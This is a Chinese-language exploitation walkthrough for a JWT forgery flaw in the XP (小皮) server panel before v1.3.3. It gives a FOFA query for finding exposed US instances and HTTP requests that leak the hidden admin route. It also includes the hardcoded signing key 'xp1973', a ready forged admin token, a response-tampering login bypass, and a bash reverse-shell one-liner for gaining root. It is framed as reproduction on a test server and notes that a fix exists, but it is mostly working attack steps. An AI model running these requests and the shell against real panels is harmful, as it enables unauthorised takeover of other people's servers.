漏洞复现
通过fofa互联网空间测绘查找小皮面板,fofa通过icon特征查找对应资产:
icon_hash="-1458616391" && country="US"
这里使用我们自己的测试服务器来进行漏洞复现。访问测试服务器的小皮面板服务端口,会提示安全入口错误,这是由于小皮面板为了后台安全,防止被Web后台被暴力破解,在启动服务时会生成一个6位小写字符跟数字组成的随机路由来保护后台登陆地址。需要先访问安全入口获取对应的Cookie后才会被允许访问到登陆路径/login。所以获取到登陆所需的Cookie是我们漏洞复现的第一步。
当面板存在token伪造漏洞的情况下,我们可以利用伪造的token通过敏感信息泄露的路径,来获取对应的面板地址,需要注意的是该接口有时是未授权访问,有时需要附带token认证。其中泄露的信息中的Entry的value值即为后台地址的路由。
未授权敏感信息查询:
GET /panelCfg/sectionCfgs?section=panel HTTP/1.1
Host: xxx.xxx.xxx.xxx:xxx
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
构造JWT token 敏感信息查询:
在小皮面板v1.3.3版本之前的面板配置参数中存在固定的硬编码,导致了JWT token的伪造漏洞。这里我们使用默认硬编码生成一个新的JWT token信息。
通过查看Linux 小皮面板安装路径下的/xp/panel/config.json配置文件可以查看默认的硬编码为xp1973
"jwt": {
"signingKey": "xp1973",
"issuer": "xp",
"expireSeconds": 604800
},
获取到默认硬编码后可以利用https://www.jwt.io/生成JWT Token。在生成JWT Token之前简单介绍一下JWT的格式内容,其中 iat(签发时间)和 nbf(生效时间)相同时,表示 Token 签发后立即可用。Token 有效期:从 iat 到 exp 的时间间隔。而自定义字段(如 user_id/account/temp)由业务系统定义,需与验证方约定一致。(在此小皮面板的Token伪造漏洞中后台并不进行account字段的校验,所以这里我们可以使用任意的字段内容,这里以为admin为例,account字段的内容并不会不影响登陆后的权限)
exp |
Expiration Time |
定义 Token 过期时间 |
1766333666 |
iat |
Issued At |
标识 Token 签发时间 |
1746333666 |
iss |
Issuer |
声明 Token 签发者 |
“xp” |
nbf |
Not Before |
定义 Token 最早生效时间 |
1746333666 |
user_id |
自定义字段 |
用户唯一 ID |
1 |
account |
自定义字段 |
用户账号名 |
“admin” |
temp |
自定义字段 |
标识 Token 是否为临时类型 |
false |
生成的JWT Encoder如下:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjYzMzM2NjYsImlhdCI6MTc0NjMzMzY2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDYzMzM2NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhZG1pbiIsInRlbXAiOmZhbHNlfQ.WSf9j7rtWZ5C5_e_QFJksn0qQBYUx_WUwlveEALFOGA
构造JWT token 敏感信息查询:在请求头中添加Authorization字段,Bearer 后添加JWT Token
GET /panelCfg/sectionCfgs?section=panel HTTP/1.1
Host: xxx.xxx.xxx.xxx:48766
Authorization:Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjYzMzM2NjYsImlhdCI6MTc0NTcyODg2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDU3Mjg4NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhZG1pbiIsInRlbXAiOmZhbHNlfQ.QTxsjKmTWDUJzDMAAmzD-ReF9-mLVVViVtm1hN2p56g
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
伪造JWT Token登录后台:
通过访问前面获取到的安全入口地址,获取到登陆接口的Cookie,拦截登陆请求包。
拦截请求的响应内容,替换响应内容为如下json信息,登录成功返回的
{"code":1000,"data":{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NjYzMzM2NjYsImlhdCI6MTc0NjMzMzY2NiwiaXNzIjoieHAiLCJuYmYiOjE3NDYzMzM2NjYsInVzZXJfaWQiOjEsImFjY291bnQiOiJhZG1pbiIsInRlbXAiOmZhbHNlfQ.WSf9j7rtWZ5C5_e_QFJksn0qQBYUx_WUwlveEALFOGA"},"message":"登录成功"}
登陆后台成果。
小皮面板后台后利用:
目标出网的情况下可以利用后台计划任务反弹shell获取主机权限,不出网时利用文件管理写入WebShell即可。
bash -c 'exec bash -i &>/dev/tcp/xxx.xxx.xxx.xxx/5555 <&1'
获取主机root权限。
后话:
该漏洞已在最新版本修复,不再存在默认signingKey,小皮面板每次重新启动,都会刷新signingKey的值。,虽然小皮面板的signingKey已经不再为默认值,但signingKey依然作为后台的登陆凭证JWT Token的生成要素之一,当目标站点存在任意文件读取时可以读取/xp/panel/config.json中的配置文件来获取小皮面板的后台管理权限以及命令执行权限。
没有回复内容